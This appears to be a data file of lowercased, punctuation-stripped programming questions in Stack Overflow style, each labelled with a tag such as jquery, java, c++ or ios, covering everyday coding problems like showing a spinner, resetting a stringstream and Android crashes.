how to display this spinner  i have this html code :   <pre><code>&lt;div&gt;        &lt;input type= checkbox  class= coche  id= {{ $role_fonction-&gt;id_fonction }}  &lt; php if ($role_fonction-&gt;checked ==  y ) {echo  checked ;}  &gt;&gt;     &lt;i class= fa fa-spinner fa-spin  id= waiting_{{ $role_fonction-&gt;id_fonction }}  style= display: none;position:absolute; &gt;&lt;/i&gt; &lt;/div&gt; </code></pre>   when i click on the checkbox  i would like to show the spinner. how to do that in this javascript    <pre><code>$.ajax({         type :  post            url : $( #url_for_ajax ).val() +  /update_role_fonction_ajax           datatype :  json            data:{_token:_token  id_fonction:id_fonction type:type id_role:$( #id_role ).val()}              beforesend : function() {$( #id_xxxxx ).show();}  // &lt;== to display the spinner         success: function( data ) {                  $( #id_xxxxx ).hide();         }               });  </code></pre>   in the html code  i created an articial id for the spinner: <code>id= waiting_{{ $role_fonction-&gt;id_fonction }} </code>. so this id is unique.     but after this  how do i get this id in my code (see the #id_xxxxx in the js code),jquery
how to show message from global resources file in pop up window of asp.net  i am getting error using this syntax    this.page.clientscript.registerstartupscript(typeof(string)   test     alert( &lt;%=resources.text.header_login%> ); );    please any suggestion reply to me,asp.net
assigning const char *ptr to an array parameter  c++  fyi:  the answer provided was wrong  i have found an answer  they are written below.     in an exam question  was given a function prototype   <pre><code>void store(double *ptr  unsigned int length  char filename[]); </code></pre>   we are asked to call this function in order to do stuff... (not relevant to my question now). but we need to pass a filename for reading.  and it must be received by this <code>filename[]</code> char array.<br> below is the answer that is provided.  (it s a previous years  exam).   <hr>  <pre><code>#include &lt;iostream&gt;  using namespace std; #define size 10 int main(void) {  const char *filename =  array.dat ;  double a[size];  for ( unsigned n = 0; n &lt; size; n++ )  a[n] = 0.0;  store(a  size  filename);        // if simply send  array.dat  as parameter it works.  return 0; } </code></pre>  <hr>   however  this does not compile to me.  in my mind it doesn t compile either  because i can t assign a c-style string like this to a char array  in this way  or so i believed.  i ve searched a fair bit  i just need some clarity on this. thanks.,c++
what should be the file name  <pre><code>class outer1{ private static void outermethod(){     system.out.println( inside outermethod ); } static class inner{     public static void main(string[] args){         system.out.println( inside inner class method );         outermethod();     } } } </code></pre>   i m trying to execute this program via command prompt. what should be the name of the file  i tried both  outer1  and  inner . should i make any changes in this program,java
is java pass by value in case of objects also   i have searched a lot and every where found that java is pass by value but still i am not satisfied with the answers. below is the code. here if i am passing the object of <code>hashmap</code> then i am getting its updated value while in case of integer it is not like that. what is the difference between these both. how pass by value is working in both cases-   <pre><code>public static void main(string[] args) {     hashmap hm = new hashmap();     system.out.println(hm.size()); //print 0      operation(hm);     system.out.println(hm.size()); //print 1 ; why it s updating the hashmap.      integer c = new integer(3);     system.out.println(c); //print 3      getval(c);     system.out.println(c); //print 3: why it s not updating the integer like hashmap. }  public static void operation(hashmap h) {     h.put(“key”  “java”); }  public static void getval(integer x) {     x = x + 2;     system.out.println(x); } </code></pre>,java
hiding divs other than targeted div on slidetoggle  sorry for the wording in the title but i wasn t sure how to exactly explain what is going on here. i have the following code here that basically expands the tbody element of a particular table which contains buttons that show other divs directly below the table. when the user presses  close   i want it to also close any divs that may be open beneath the table that may have been opened via the links within the tbody. heres my code:   <pre><code>$(  #pdays_expand  ).on(  click   function() {                $(  #pdays_tbody  ).slidetoggle(  slow   function() {                     //$( body ).scrollto($( #pdays_tbody ) 500);                     $( #pdays_expand ).text($(this).is( :visible )    close  :  expand );                });                if (( #pdays_tbody ).is( :hidden )) {                     $(  #search_pdays_medicare  ).hide();                     $(  #search_pdays_medicaid  ).hide();                     $(  #search_pdays_other  ).hide();                     $(  #search_pdays_totalallpay  ).hide();                     $(  #search_pdays_totalcombine  ).hide();                     }             }); </code></pre>   my issue is that when i press  close  after the tbody has been toggled open. it does not close any of the #search divs listed below  they remain open beneath the table. the pdays_tbody div however  successfully closes.    thanks,jquery
multiple actions on a list  i have this list.i want to have distinct values based on category sorted by the order .can someone please tell me how can i do it.   <pre><code>public class item     {         public string url{ get; set; }         public string title { get; set; }         public string category { get; set; }                 public string order{ get; set; }       }      var test = new list&lt;items&gt;      var groups = test.select(g =&gt; g.category).distinct();  </code></pre>   thanks,c#
angularjs event - dom is delayed updating  in my app  i have an event that listens for new messages sent to a user. upon receiving the event  it runs a factory function to retrieve messages. however  it seems as though it is always 1 event behind (ie  event 1 data doesn t display until event 2 occurs).    i have a feeling this has to do with the digest cycle. i have tried $scope.$apply  $timeout to no avail. hopefully i have been clear enough.   <pre><code>$scope.retrievemessages = function(){     conversations.retrieveconversations($scope.authentication.uid)       .then(function(success){           $scope.messagelist = success;       }  function(error){           console.log(error);     });     };   $scope.$on( $received_message   function (event  data) {    $scope.retrievemessages();   $scope.$apply();   }); </code></pre>   service   <pre><code>angular     .module( conversations )     .factory( eventemitter   [ $rootscope           function($rootscope) {              var factory = {                   newmessage: function() {                     $rootscope.$broadcast( $received_message );                 }                };              return factory;      }]); </code></pre>   function in controller that watches firebase for changes   <pre><code>var notificationsref = new firebase(config.firebaseref +  notifications/  + $scope.authentication.uid); notificationsref.limittolast(1).on( child_added   function(childsnapshot  prevchildkey) {      var snapshot = childsnapshot.val();      if(snapshot.type ===  conversation ){       eventemitter.newmessage();     };  }) .catch(function(error) { console.error( error:   error); }); </code></pre>   conversations factory (omitted definition and other methods for brevity)   <pre><code>retrieveconversations: function(uid){      var deferred = $q.defer();      var request = {       uid: uid     };      $http.post(config.serverref +  /conversations   request)       .success(function(data  status  headers  config) {         // this callback will be called asynchronously         // when the response is available          deferred.resolve(data);        })       .error(function(data  status  headers  config) {         // called asynchronously if an error occurs         // or server returns response with an error status.         deferred.reject(status);       });      return deferred.promise;  }  </code></pre>,angularjs
jquery ui dialog not showing the div  using the div divdialog for displaying the jquery ui dialog box.  dialog window pops up and display the message.  but i am not able to see the divsection divdialog in the html page at the end.  thought jquery ui dialog code is hiding it with display:none when dialog is initialized.  tried many way to display it but nothing is working.  pasted the code below   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;  &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js &gt; &lt;/script&gt;   &lt;link rel= stylesheet  href= http://bbsmt01.dev.aapt.com.au:8080/testmanager/jquery/jquery-ui-themes-1.10.3/themes/smoothness/jquery-ui.css  /&gt;   &lt;script src= http://bbsmt01.dev.aapt.com.au:8080/testmanager/jquery/jquery-ui-1.10.3/jquery-1.9.1.js &gt;&lt;/script&gt;   &lt;script src= http://bbsmt01.dev.aapt.com.au:8080/testmanager/jquery/jquery-ui-1.10.3/ui/jquery-ui.js &gt;&lt;/script&gt; &lt;script&gt; $(function(){          $( #divdialog ).dialog({                 resizable: true                  autoopen:false                  show: {                         effect:  blind                           duration: 1000                 }                  hide: {                         effect:  explode                           duration: 1000                 }                  modal: true                  width:400                  height:300                  buttons: {                         ok: function() {                                 $(this).dialog( close );                         } //end cancel button                 }//end buttons          });//end dialog                 $( #divdialog ).html( &lt;b&gt;test123&lt;/b&gt; );                 $( #divdialog ).dialog( option   title   display example );                 $( #divdialog ).dialog( open );   }); &lt;/script&gt; &lt;/head&gt;  &lt;body&gt; &lt;p&gt;demonstrate jquery ui dialog box.&lt;/p&gt; &lt;br&gt;&lt;br&gt; &lt;div id= div1   class= gen   style= width:80px;height:80px;background-color:red; &gt;&lt;/div&gt;&lt;br&gt; &lt;div id= div2  class= gen   style= width:80px;height:80px;background-color:green; &gt;&lt;/div&gt;&lt;br&gt; &lt;div id= div3  class= gen  style= width:80px;height:80px;background-color:blue; &gt;&lt;/div&gt; &lt;div id= divdialog   style= width:80px;height:80px;background-color:blue; &gt;testdivdialog&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
url encoding for link  i am not getting response for following url i am loading async. <code>http://ms:ms@www.arabcircleonline.com/index.php do=/webservice/whisper/login_ms@gmail.com/password_ms/action_stirwhisper/whisperstirdata_{ feed_id : 89   say_something : pqrst   privacy :</code>0}    i am using url encoding like   <pre><code>nsstring *urlstring1 = [[nsstring alloc]initwithformat:@ http://ms:ms@www.arabcircleonline.com/index.php do=/webservice/whisper/login_ms@gmail.com/password_ms/action_stirwhisper/whisperstirdata_{\ feed_id\ :\ %@\  \ say_something\ :\ %@\  \ privacy\ :%@}  feedid [alertview textfieldatindex:0].text privacy];  nsdata *mydata1 = [[nsdata alloc] initwithcontentsofurl:[nsurl urlwithstring:[urlstring1 stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]]]; </code></pre>   i think there is some problem in encoding. help will be appreciated.,ios
what is causing my app to crash on button press   my manifest:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android  package= com.rufflez.pagertabstriplistview.pagertabstriplistview  &gt;  &lt;application     android:allowbackup= true      android:icon= @drawable/icon      android:label= @string/app_name      android:theme= @style/apptheme  &gt;     &lt;activity         android:name= com.rufflez.pagertabstriplistview.pagertabstriplistview.firstscreen          android:label= @string/app_name          android:theme= @style/apptheme.base &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;              &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt; &lt;/application&gt;  &lt;/manifest&gt; </code></pre>   on the launch screen (firstscreen):   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools   android:layout_width= match_parent  android:layout_height= match_parent  android:background= @drawable/bg &gt;  &lt;imageview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/img_logo      android:src= @drawable/logo2      android:layout_alignparenttop= true      android:layout_centerhorizontal= true  /&gt;  &lt;imageview     android:visibility= invisible      android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/img_title      android:layout_centervertical= false      android:layout_centerhorizontal= true      android:layout_margintop= 230dp      /&gt;  &lt;textview     android:visibility= visible      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= @string/desc      android:id= @+id/description      android:textcolor= #ffffffff      android:textsize= 24dp      android:typeface= sans      android:gravity= center      android:layout_margintop= 375dp      android:layout_alignparentright= true      android:layout_alignparentend= true      android:textstyle= italic  /&gt;  &lt;imagebutton     android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/btn_start      android:layout_alignparentbottom= true      android:layout_centerhorizontal= true      android:src= @drawable/start      android:background= @null      android:layout_marginbottom= 16dp  /&gt;   &lt;/relativelayout&gt; </code></pre>   my firstscreen.java:   <pre><code>package com.rufflez.pagertabstriplistview.pagertabstriplistview;  import android.app.activity; import android.content.intent; import android.os.bundle; import android.util.log; import android.view.view; import android.widget.imagebutton;   public class firstscreen extends activity {  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.first_screen);     setupmessagebutton();  } private void setupmessagebutton() {     //1. get reference to button     imagebutton messagebutton = (imagebutton) findviewbyid(r.id.btn_start);      //2. set the click listener to run code.     messagebutton.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {             log.i( demobuttonapp    clicked begin );             startactivity(new intent(firstscreen.this  mainactivity.class));             finish();         }     }); }  } </code></pre>   when i tap the <code>imagebutton</code> (<code>btn_start</code>) it crashes and says  unfortunately  video game historium has stopped  it doesn t seem to want to load the next screen. i looked in logcat (which keeps going and going and never stopping) it s spitting out a few red errors:   <pre><code>enterprisecontainermanager﹕ containerpolicy service is not yet ready!!! e/smd﹕ dcd on   cameracontroller﹕ handlemessage signal: 0   cameracontroller﹕ handlemessage(0) before let go!{ when=-506ms what=0 target=com.sec.android.smartface.cameracontroller$eventhandler } </code></pre>   just to name a few. any ideas  it was working until i took the screen from one project and imported it into this one. i imported the xml  java and drawables.     edit: added crash report:   <pre><code>11-18 10:04:47.683    9690-9690/com.rufflez.pagertabstriplistview.pagertabstriplistview e/androidruntime﹕ fatal exception: main process: com.rufflez.pagertabstriplistview.pagertabstriplistview  pid: 9690 java.lang.runtimeexception: unable to start activity  componentinfo{com.rufflez.pagertabstriplistview.pagertabstriplistview/com.rufflez.pagertabstriplistview.pagertabstriplistview.mainactivity}: java.lang.illegalstateexception: this activity already has an action bar supplied by the window decor. do not request window.feature_action_bar and set windowactionbar to false in your theme to use a toolbar instead. </code></pre>,android
swipe and mkusertrackingmodefollowwithheading  when the mkmapview is loaded or reloaded  <code>mkusertrackingmodefollowwithheading</code> is set so the heading is displayed on the map. but when i swipe the map  the heading disappears and the map rotates to its regular direction. interestingly  a zoom of the map does not change the heading.     any information     thanks,ios
c++ stringstream how to reset it on 2nd loop <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2848087/how-to-clear-stringstream >how to clear stringstream </a>    </blockquote>     i have this c++ command   <pre><code>//siteurl and filename are of string type   stringstream ss; ss &lt;&lt;  lynx -dump    &lt;&lt; siteurl &lt;&lt;    &gt;   &lt;&lt; filename; </code></pre>   on first loop  everything ok. but on second loop i realize it just append instead of create a new record    as i troubleshoot using cout it give me this  i realize the command is append instead of overwrite on 2nd loop  how do i null or reset or overwrite first record of ss (stringstream) on 2nd loop/usage.   <pre><code>webparser: lynx -dump  http://sg.finance.yahoo.com/q s=usdsgd=x  &gt; file.txtlynx -dump  http://sg.finance.yahoo.com/q s=eurusd=x  &gt; file.txt </code></pre>   what i want is on 2nd loop it will be this output    <pre><code>webparser: lynx -dump  http://sg.finance.yahoo.com/q s=eurusd=x  &gt; file.txt </code></pre>   i am new to c++  thanks for all help  greatly apperciated.,c++
how to fetch the value saved in nsuserdefault  i am trying to use nsuser deafault in my application user have tp fillup 4 uitextfields. i am trying to save the fields so that on subsequent runs of the program that whatever they previously put will already be displayed in those uitextfields so the wont have to re-input it in - unless they want to edit something in which case they still have that option. i think that i have figured out a good way to save the strings using nsuserdefaults but now i am trying to figure out how to have those fields populate a uitextfield - it doesnt seem as easy as if they were uilabels. this is the route i am attempting:    now my value is being saved in nsuserdefalut but hot how to fetch dat value next time(when i re start application (null appear on the uitext field)) ..i am trying this cods    nsuserdefaults *userdata = [nsuserdefaults standarduserdefaults]; //hooks.     nsstring *placeholdername = [userdata stringforkey:@ name ];     urltextfieldnormal.text = placeholdername;,objective-c
how do i execute the java program when i select the radio button  how do i execute the java program when i select the radio button    <pre><code> class abc implements actionlistener {    public static void main (string args[]){            jframe frame = new jframe( test frame );          jpanel panel = new jpanel();         container contpane; contpane = frame.getcontentpane();          //added all  radio  buttons           jradiobutton jb = new         jradiobutton( test1 );  jradiobutton         jb1 = new jradiobutton( test2 );           jb.addactionlistener( this );          jb.addactionlistener( this );//when i say  this  it is giving complie time                   error becaus this keyword will not be accesible          }          public void actionperformed(actionevent evt){    how do i create the jtextarea and   execute the java class abc.java  in   that jtextarea how do i add the    jtextarea to the panel and frame    what should i write inorder to execute   the java class  say abc.java        }    } </code></pre>,java
what should be my database design for user s data.  i want to add a login/register option to my website.     so  for this  i want to store: <code>username</code>  <code>password</code> <code>email</code> <code>first name</code> <code>middle name</code> <code>last name</code> and user s <code>watchlist</code> of movies  and there <code>rating</code>    this is the design  which  i am planning to make (not sure  if you call this as <code>normalization</code>  or it is something else)    table: <code>userinfo</code>   <pre><code>user_id    username    password   email               first name    1          fsdfs       4r34fdf    dsf@gmail.com         josh  2          dfdsf       e4rewff     fds@gmai.co          roy </code></pre>   table: userwatchlist:    <pre><code>user_id     watchlist 1           logan 1           ironman  1           ironman 2 1           ironman 3 2           superman  2           the boy  </code></pre>   table: user_rating   <pre><code>   user_id     rating       movie_id     1           5.6             435     1           6.9             3423     1           5.8             3243     1           9.4             2334     2           7.8             6345     2           8.3             4343 </code></pre>   i will connect all tables using <code>user_id</code> as foreign key.,mysql
parse json response for javascript  how to parse the following json array using javascript,javascript
ruby on rails 4.0 - loading and using a module  reading around  i get confused about the right way to load and include a module in rails 4. i d like to include this module in several models of my application:   <pre><code>module simplesearch   def self.search(filter)     if filter.present        where( name like      %#{filter}% )     else       where( true )     end   end end </code></pre>   the file path is <code>lib/simple_search.rb</code> thanks to michael s suggestion  i updated the <code>config/application.rb</code> to help loading the module (question 3 is solved):   <pre><code>config.autoload_paths += %w(#{config.root}/lib) </code></pre>   in the model  i include:   <pre><code>class businessrule &lt; activerecord::base extend simplesearch </code></pre>   and get a new error at execution:   <pre><code>undefined method `search  for #&lt;activerecord::relation::activerecord_relation_businessrule:0x00000003670770&gt; </code></pre>  <ol> <li> is <code>extend</code> relevant here   </li> <li> do i use the correct syntax  module and file name   </li> <li> is there something to configure to make sure the lib/module is loaded or is it convention   </li> </ol>   thanks for your help     best regards     fred,ruby-on-rails
"are quotation marks really necessary for attribute values in html tags   i know that an attribute value in html needs quotation marks allow its attribute to modify an element  but i discovered that a value without quotations still appears to have valid syntax.    for example  both of these paragraph elements with and without quotations around the <code>style</code> value <code>color:#06c;</code> output the same blue text.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p style= color:#06c; &gt;some text&lt;/p&gt;
 &lt;p style=color:#06c;&gt;some text&lt;/p&gt;</code></pre>
 </div>
 </div>
     is it really necessary to have quotation marks around values in attribute/value pairs  or is it good practice to do so  i’m just curious to see if i can save a bit of coding time by omitting them.",html
check if height is lower than parent for each element  how can i check for a <code>div</code> if it s height is lower than it s parent     let s say i have multiple divs with multiple parents with different height on each of them.,jquery
haw compare uitextfiled and nsstring  please why i cant compare my textfiled tovalue    <pre><code>   -(void)testpass:(id)sender {     nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentsdirectory = [paths objectatindex:0];     nsstring *path = [documentsdirectory stringbyappendingpathcomponent:@ info.plist ];     nsdictionary *dict = [[nsdictionary alloc] initwithcontentsoffile:path];      nsstring *value;     value = [dict valueforkey:@ password ];          if ([value isequaltostring:password.text]) {          res = [[xmltestviewcontroller alloc] initwithnibname:@ xmltestviewcontroller  bundle:nil];         res.modaltransitionstyle = uimodaltransitionstylecoververtical;         [self.view addsubview:res.view];     }     else {           uialertview *alert = [[uialertview alloc] initwithtitle:@ iaa                                                           message:@ wrong password  delegate:self cancelbuttontitle:@ cancel                                                otherbuttontitles:@ ok   nil];           [alert show];         [alert release];     }  } </code></pre>,objective-c
why is a pointer function always have void return type   i have seen many programs with pointer functions that have the <code>void</code> return type. what is the reason behind this  what is the actual need of a <code>void</code> pointer function    <pre><code>void *print_message_function( void *ptr ){     int *message i j;     message = (int *) ptr;     if(*message == 1){         for(i=0;i&lt;5;i++){ res1 += array[i];         }     }      else if(*message == 2){         for(i=5;i&lt;10;i++){             res2 += array[i];         }     } } </code></pre>   if possible  please give a real life example of when you d use a <code>void</code> pointer function.,c
error: $injector:unpr unknown provider  i have app.js code like this   <pre><code>var myapp = angular.module( myapp   [ ngroute    myappservices    ngsanitize ])         .config(myrouter);   angular.module( myappservices   [ ngresource ])     .factory( gridsapi   function($resource) {         return {             users: $resource( /my/system/users/grid )              groups: $resource( /my/system/groups/grid )              grouplist: $resource( /my/system/getgrouplist )         };     }); myapp.controller( createusercontroller   [ $scope    grouplist   function($scope  grouplist) {     $scope.test =  hello ;     $scope.groups = grouplist;     debugger;   //here i am getting correct values of test and groups }]); function myrouter($routeprovider) {      $routeprovider         .when( /users/create   {             templateurl:  /my/system/users/create               controller:  createusercontroller               resolve: {                 grouplist: function(gridsapi) {                     return gridsapi.grouplist.get().$promise;                 }             }         }); } </code></pre>   here is my html   <pre><code>&lt;div class= white-box  ng-controller= createusercontroller &gt;     &lt;h1&gt;{{test}}&lt;/h1&gt;     &lt;pre&gt;{{ groups | json }} &lt;/div&gt; </code></pre>   and in browser i am getting this  no binding at all  what i am missing     <pre><code>{{test}}  {{ groups | json }} </code></pre>   at debugger i am getting object correctly... see the screenshot    <img src= https://i.stack.imgur.com/pqsq5.png  alt= enter image description here >,angularjs
breaking string  i have to break this string in two parts: 2º felipe massa (bra)   <pre><code>1)2 2)felipe massa (bra) </code></pre>   i am using this method   <pre><code>myarray = [mystring componentsseparatedbystring:@ º ]; </code></pre>   but its not breaking it  and returning me this: <code>1\u00ba felipe massa (bra)</code>    i know that this a unicode character  but how can i break it  thanks in advance.,iphone
how to make app run on different devices of ios  i am upgrading my app as per iphone 5 method and got the way but just need help regarding the following point:    how do i use an if else condition to make the app choose the .xib file when made to run on different iphones  especially iphone 5,ios
your account already has a valid ios distribution certificate  enterprise distribution  i get this error when i want to export my project for enterprise distribution. but the funny thing is that i have all my certificates installed on the machine  so nothing should be wrong. why can t xcode import them if it knows i have a valid one  this is just stupid! always these kinds of problems when distributing ios apps  and always a different problem every time  with the certificates.,ios
how to give 2nd input to a  .exe  file after the process.start method is called   i have to execute a  .exe  file which produces a output and asks for another input again. i am able to run the first part but i am not able to pass the second parameter to complete the process.    here is my code:   <pre><code>processstartinfo startinfo = new processstartinfo(); startinfo.filename = @ c:\context.exe ; startinfo.arguments =  xyz ; startinfo.useshellexecute = false; startinfo.createnowindow = true; process.start(startinfo); </code></pre>,c#
need advise on sql query to return active policy records  i need some advise and ideas on writing a query that returns a count of policies that are in-force  or active  per month over a 12 month period.  i can easily build it for a given month (see simplified example) but was hoping to find a way to avoid using join statements  something more efficient.  there where condition is the part i m struggling with.   <pre><code>select  january   count(*) from policies where effective_date &lt;  1/1/2012  and expiration_date &gt;  2/1/2012  </code></pre>   suggestions,sql
measuring network latency between two ios devices  i m sending data between two ios devices using nsnetservices  and i m sending a timestamp along with each data unit  which are small (around 17 bytes).  i m noticing that my latency test results are reliably within a given range during a testing session (for example  20ms +/- 5ms)  but from one session to the next  they will be quite a different (for example  next session would be 40ms +/- 5ms).  the obvious explanation would seem to be that ios clocks do not maintain time consistently at the millisecond level.  can anyone confirm that explanation or suggest others,ios
.net show english numbers while os regional settings arabic  i am building a .net windows application and facing a problem with displaying numbers while the os regional settings region is arabic. os enforce my application to show numbers in arabic too.    i tried to use <code>globalization.cultureinfo</code> to change this behaviour  but it s not working.,.net
how to auto populate country name in signup page using angularjs   anyone tell me how to implement auto populate the country name in signup page. i am trying to get the location via ip and auto populate the country name without choosing country name in angularjs.  my code in controller is    <pre><code> var country;  $.get( http://ip-api.com/json/   function(response) {  country=response.country;  }   jsonp ); </code></pre>,angularjs
asp output surrounded by <form> tags   simply     when creating a new aspx page in visual studio  it automatically adds tags like these:   <pre><code>&lt;form id= form1  runat= server &gt; </code></pre>   are these form tags required to wrap the entire html output of the page  e.g.:   <pre><code>&lt;body&gt; &lt;form id= form1  runat= server &gt; html goes here &lt;/form&gt; &lt;/body&gt; </code></pre>   or can they just be placed where you require an actual form  thanks,asp.net
how to select all the checkboxes when selecting single checkboxes  hi    a problem occured when trying to select all check boxes on selecting single checkbox.  these are dynamically produced (via ajax) check boxes so  binding event was some tedious. following is the code in html   <pre><code>&lt;form id= frm  name= frm &gt;     &lt;input name= chk  type= checkbox  id= chk  value=   /&gt;main checkbox     &lt;input name= chk1  type= checkbox  id= chk1  value=   /&gt;1     &lt;input name= chk2  type= checkbox  id= chk2  value=   /&gt;2     &lt;input name= chk3  type= checkbox  id= chk3  value=   /&gt;3     &lt;input name= chk4  type= checkbox  id= chk4  value=   /&gt;4     &lt;input name= chk5  type= checkbox  id= chk5  value=   /&gt;5     &lt;input name= chk6  type= checkbox  id= chk6  value=   /&gt;6 &lt;/form&gt; </code></pre>,jquery
how to replace the test.css with test1.css by jquery  suppose i have css file reference like  how could i replace the test.css with test1.css by jquery. help with code snippet.    thanks,jquery
weighting a length of time to get a different date each time  i have an arrival date 01/01/2010  this has occurred 50 times and i want to randomise 50 departure dates using the length of stay weighting guide below  as you can the majority of these will leave 2 days later  but i cannot figure out how to write the code  can you help.   <pre><code>lengthofstay lengthofstayweighting ------------ --------------------- 1            1 2            5 3            4 4            3 5            3 6            3 7            3 8            1 9            1 10           1 </code></pre>   i have started but have got stuck already   <pre><code>select arrivaldate rand(checksum(newid())) * lengthofstay.lengthofstayweighting as expr1   arrivaldate + expr1 as departuredate  from bookings  lengthofstay order by arrivaldate </code></pre>,sql
go button of iphone for a page submit for login page using c#  i have an asp.net application for mobile devices using c#. when i run my log in page in a browser  pressing an enter key brings me to the next page.     but when i press the  go  button in an iphone  nothing happens. is there specific code that i have to write for mobile devices     any ideas will be helpful.    thanks.,c#
c# printing a  *  char using entered coordinates with 2d array  i have been trying to do a task i recieved a few days earlier. basically the task is a console application in c# :    prompt the user for input of 2 coordinates in untill the word  stop  is entered. once the word  stop  is hit  print a  * (star char) at each of the input coordinates. the field where the coordinates are printed is 20x20. i have tried doing this  but to no avail. if somebody could help me out and show me how to store the input x y into a 2d array  that d be great :)    how the application should work : <a href= http://imgur.com/a/snc1k  rel= nofollow noreferrer >http://imgur.com/a/snc1k</a>    the [0 5] [18 18]etc are the entered coordinates which are later on printed down below. the  #  chars dont need to be printed   they are here only to help with the understanding of the task.    how i tried to do it but didn t work :   <pre><code>namespace consoleapplication1 {    class program {     static void main(string[] args)     {         bool stopped = false;         int x=0;         int y=0;           while (stopped)         {             string[ ] coordinates = console.readline();             string response = console.readline();             response = response.tolower();              if (response ==  stop )                 stopped = true;             else             {                 string[] xy = coordinates.split(   );                 x = int.parse(xy[0]);                 y = int.parse(xy[1]);                  console.setcursorposition(x  y);                 console.write( * );             }               }       }     }     } </code></pre>   the code i did just doesn t do it. it shows multiple errors that i do not know how to fix and the only thing i was able to do is get it to print a char immediately when i enter the first coordinates  instead of printing a char at every entered coordinate  after the word stop is hit.,c#
how to compare textfield string with array string in iphone sdk  how to compare textfield string with array string in iphone sdk  please help me,iphone
how to make images resizable in flexible layout   if we make fluid layout we can use em or % for font and div width and height to make fluid but how to make images resizable     i want to make one layout for all sizes and devices,css
decrement 2 in for c++  i decrement a number twos  but over all i can do for 1.    how i can do  here is the basic for   <pre><code>for (i=n;i&gt;0;i--)   </code></pre>   but decrement 1.     <pre><code>int main(int argc  char *argv[]) {  int n i e; char op; cout&lt;&lt; ingrese un numero para realizar las operaciones descriptas a continuacion : &lt;&lt;endl; cin&gt;&gt;n; cout&lt;&lt; su numero es :  &lt;&lt;n&lt;&lt;endl; cout&lt;&lt; este programa mostrara una lista de los numeros pares menores a su numero.\n\n\ten que forma desea ver la lista   &lt;&lt;endl; cout&lt;&lt; \t \t a)de manera creciente &lt;&lt;endl&lt;&lt; \t \t b)de manerda decreciente  &lt;&lt;endl; cin&gt;&gt;op; if (op== a ) {     if (n%2==0){         cout&lt;&lt; el numero que usted ingreso es par  &lt;&lt;endl;         for (i=n;i&gt;0;--i) {             cout&lt;&lt;i&lt;&lt;endl;         }     } } </code></pre>,c++
how to save data from medium editor using javascript/jquery and php  i m developing a blog and i want to add medium editor in taking my content and for saving. i have been searching the internet and i have tried on my own using javascript but its not given me anything at all.    html   <pre><code>&lt;div class= editable  id= articles  data-field-id= content &gt; &lt;button id= publish_article &gt;&lt;/button&gt; </code></pre>    js    <pre><code>var editor = new mediumeditor( .editable  {                                 placeholder:{                                   text: type your article                                     hideonclick:true                                 }) $( #publish_article ).click(function(){       $( .editable ).bind( input propertychange  function(){         var x=$( #article +$(this).attr( data-field-id )).val($(this).html());});}); </code></pre>,jquery
audio tag in html is not working  i have made this html but it is not working. the players are not showing up.   <pre><code>&lt;audio id= music &gt;   &lt;source src= http://127.0.0.1/file1.mp3  type= audio/mpeg  /&gt; &lt;/audio&gt;  &lt;audio id= music &gt;   &lt;source src= http://127.0.0.1/file2.mp3  type= audio/mpeg  /&gt; &lt;/audio&gt; </code></pre>   what should i do,html
string to object not working as expected  when converting a string to an html object in jquery  i m not getting the entire segment and i was wondering if i m using it properly.    <strong>here is my code after populating  data :</strong>   <pre><code>    console.log(data);     console.log( --- );     console.log($(data).html()); </code></pre>   <strong>here are the results:</strong>   <pre><code>&lt;div style= width:260px; height:128px; text-align:left  id= producttn &gt;&lt;img src= images/rproduct02.jpg  id= producttnimg  class= producttnimg  alt= selected product  style= border-style:none  height=128 width=128 /&gt;&lt;/div&gt;&lt;div id= productli  style= width:281px; min-height:185px &gt;&lt;b&gt;audi&lt;/b&gt;&lt;/div&gt; ---  &lt;img src= images/rproduct02.jpg  id= producttnimg  class= producttnimg  alt= selected product  style= border-style:none  height= 128  width= 128 &gt;  </code></pre>   as you can see  after converting html to an object  and then that back to a string again  only the img portion is there  the rest is gone. am i doing something wrong here,jquery
is it possible to access uibarbuttonitem using tag   i hope to access uibarbuttonitem on an uitoolbar using tag. the codes show below   <pre><code>uibarbuttonitem *mybarbuttonitem=(uibarbuttonitem*)myuitoolbar.items[i]; </code></pre>   but mybarbuttonitem returns no object(0x0),iphone
abstract methods do not specify a body  i am getting an error in the code: abstract methods do not specify a body   <pre><code>public abstract class fruit{ private int mynum; public fruit (int count){ mynum = count;  public abstract void eat(int num);  public abstract int getamount();  public abstract int gettype() } return mynum; </code></pre>   please help me with this coding   <pre><code>public class bananna (int mynum  int count)   super (mynum  count); } public int gettype() { return get mynum(); } public return getmynum(); } } </code></pre>,java
could not load file or assembly not resolved  the exception is   <blockquote>    exception: could not load file or assembly  autofac  version=2.5.1.827  culture=neutral  publickeytoken=17863af14b0044da  or one of its dependencies. the located assembly s manifest definition does not match the assembly reference. (exception from hresult: 0x80131040)  </blockquote>   the version of  autofac  dll that is added to project is 2.5.1.827.but still getting above error.,.net
how to save object of the assembly class to disk in .net  i have assemvly encoded into base64 string on disk. it s needed it dll representation. i can load it into assembly object  but could not find way to save it. thanks!    so  1) how to save object of the assembly class to disk      2) how to save base64 encoded assembly to binary dll  [answered],.net
